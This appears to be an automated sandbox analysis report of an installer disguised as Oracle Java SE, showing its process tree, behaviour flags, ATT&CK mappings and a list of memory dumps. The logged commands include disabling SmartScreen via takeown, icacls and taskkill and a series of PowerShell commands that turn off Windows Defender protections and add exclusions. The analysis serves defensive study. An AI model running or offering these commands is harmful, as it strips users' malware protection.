- Suspicious use of FindShellTrayWindow
PID:1096

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7CC4235065465C4732B896D650201950
  2⤵
  - Loads dropped DLL
  PID:2700
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 890518455DD6FEDD9E43FCB34CDE9C63 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\syswow64\cmd.exe
    "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f "C:\Windows\System32\smartscreen.exe" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1872
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\System32\smartscreen.exe" /reset
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:904
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im smartscreen.exe /f
      4⤵
      Kills process with taskkill
      PID:3028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3368
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:3952
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:2692
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -MAPSReporting 0"
        5⤵
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:2508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -PUAProtection disable"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4504
  - - C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe
      Register.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:4532
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4560
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4604
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4656
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4780
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4848
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:5016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:1420
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:5116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:4296
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
      4⤵
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:2200

C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe
"C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1420-268-0x0000000004070000-0x0000000004071000-memory.dmp

Download

memory/1420-299-0x0000000004073000-0x0000000004074000-memory.dmp

Download

memory/1420-269-0x0000000004072000-0x0000000004073000-memory.dmp

Download

memory/2200-273-0x00000000070A0000-0x00000000070A1000-memory.dmp

Download

memory/2200-274-0x00000000070A2000-0x00000000070A3000-memory.dmp

Download

memory/2200-294-0x000000007F6C0000-0x000000007F6C1000-memory.dmp

Download

memory/2200-300-0x00000000070A3000-0x00000000070A4000-memory.dmp

Download

memory/2508-221-0x00000000044D3000-0x00000000044D4000-memory.dmp

Download

memory/2508-219-0x000000007E9E0000-0x000000007E9E1000-memory.dmp

Download

memory/2508-216-0x0000000008980000-0x00000000089B3000-memory.dmp

Download

memory/2508-188-0x0000000007920000-0x0000000007921000-memory.dmp

Download

memory/2508-169-0x00000000044D0000-0x00000000044D1000-memory.dmp

Download

memory/2508-170-0x00000000044D2000-0x00000000044D3000-memory.dmp

Download

memory/2692-168-0x00000000070F0000-0x00000000070F1000-memory.dmp

Download

memory/2692-220-0x00000000070F3000-0x00000000070F4000-memory.dmp

Download

memory/2692-161-0x0000000004E80000-0x0000000004E81000-memory.dmp

Download

memory/2692-172-0x00000000070F2000-0x00000000070F3000-memory.dmp

Download

memory/2692-185-0x0000000008320000-0x0000000008321000-memory.dmp

Download

memory/2692-191-0x0000000008650000-0x0000000008651000-memory.dmp

Download

memory/2692-218-0x000000007E620000-0x000000007E621000-memory.dmp

Download

memory/2692-173-0x00000000074A0000-0x00000000074A1000-memory.dmp

Download

memory/2692-182-0x0000000007ED0000-0x0000000007ED1000-memory.dmp

Download

memory/2692-176-0x0000000007620000-0x0000000007621000-memory.dmp

Download

memory/3952-164-0x0000000007350000-0x0000000007351000-memory.dmp

Download

memory/3952-167-0x0000000004900000-0x0000000004901000-memory.dmp

Download

memory/3952-171-0x0000000004902000-0x0000000004903000-memory.dmp

Download

memory/3952-214-0x000000007F590000-0x000000007F591000-memory.dmp

Download

memory/3952-222-0x0000000004903000-0x0000000004904000-memory.dmp

Download

memory/3952-179-0x0000000007BE0000-0x0000000007BE1000-memory.dmp

Download

memory/4296-272-0x0000000006E92000-0x0000000006E93000-memory.dmp

Download

memory/4296-271-0x0000000006E90000-0x0000000006E91000-memory.dmp

Download

memory/4296-296-0x0000000006E93000-0x0000000006E94000-memory.dmp

Download

memory/4296-295-0x000000007F2C0000-0x000000007F2C1000-memory.dmp

Download

memory/4504-243-0x0000000004942000-0x0000000004943000-memory.dmp

Download

memory/4504-276-0x0000000004943000-0x0000000004944000-memory.dmp

Download

memory/4504-275-0x000000007EEC0000-0x000000007EEC1000-memory.dmp

Download

memory/4504-242-0x0000000004940000-0x0000000004941000-memory.dmp

Download

memory/4560-249-0x0000000006AF2000-0x0000000006AF3000-memory.dmp

Download

memory/4560-279-0x000000007EC80000-0x000000007EC81000-memory.dmp

Download

memory/4560-248-0x0000000006AF0000-0x0000000006AF1000-memory.dmp

Download

memory/4560-281-0x0000000006AF3000-0x0000000006AF4000-memory.dmp

Download

memory/4604-278-0x00000000051C3000-0x00000000051C4000-memory.dmp

Download

memory/4604-277-0x000000007EDE0000-0x000000007EDE1000-memory.dmp

Download

memory/4604-254-0x00000000051C2000-0x00000000051C3000-memory.dmp

Download

memory/4604-252-0x00000000051C0000-0x00000000051C1000-memory.dmp

Download

memory/4656-258-0x0000000004B22000-0x0000000004B23000-memory.dmp

Download

memory/4656-282-0x0000000004B23000-0x0000000004B24000-memory.dmp

Download

memory/4656-280-0x000000007F9D0000-0x000000007F9D1000-memory.dmp

Download

memory/4656-255-0x0000000004B20000-0x0000000004B21000-memory.dmp

Download

memory/4676-286-0x0000000004983000-0x0000000004984000-memory.dmp

Download

memory/4676-283-0x000000007F430000-0x000000007F431000-memory.dmp

Download

memory/4676-263-0x0000000004982000-0x0000000004983000-memory.dmp

Download

memory/4676-260-0x0000000004980000-0x0000000004981000-memory.dmp

Download

memory/4780-288-0x0000000007433000-0x0000000007434000-memory.dmp

Download

memory/4780-244-0x0000000007430000-0x0000000007431000-memory.dmp

Download

memory/4780-245-0x0000000007432000-0x0000000007433000-memory.dmp

Download

memory/4780-284-0x000000007DFD0000-0x000000007DFD1000-memory.dmp

Download

memory/4848-289-0x0000000007083000-0x0000000007084000-memory.dmp

Download

memory/4848-250-0x0000000007080000-0x0000000007081000-memory.dmp

Download

memory/4848-251-0x0000000007082000-0x0000000007083000-memory.dmp

Download

memory/4848-285-0x000000007F7A0000-0x000000007F7A1000-memory.dmp

Download

memory/4936-256-0x0000000000B90000-0x0000000000B91000-memory.dmp

Download

memory/4936-257-0x0000000000B92000-0x0000000000B93000-memory.dmp

Download

memory/4936-287-0x000000007E500000-0x000000007E501000-memory.dmp

Download

memory/4936-292-0x0000000000B93000-0x0000000000B94000-memory.dmp

Download

memory/5016-262-0x0000000004402000-0x0000000004403000-memory.dmp

Download

memory/5016-297-0x0000000004403000-0x0000000004404000-memory.dmp

Download

memory/5016-290-0x000000007E2E0000-0x000000007E2E1000-memory.dmp

Download

memory/5016-261-0x0000000004400000-0x0000000004401000-memory.dmp

Download

memory/5116-267-0x0000000006E62000-0x0000000006E63000-memory.dmp

Download

memory/5116-298-0x0000000006E63000-0x0000000006E64000-memory.dmp

Download

memory/5116-291-0x000000007F920000-0x000000007F921000-memory.dmp

Download

memory/5116-266-0x0000000006E60000-0x0000000006E61000-memory.dmp

Download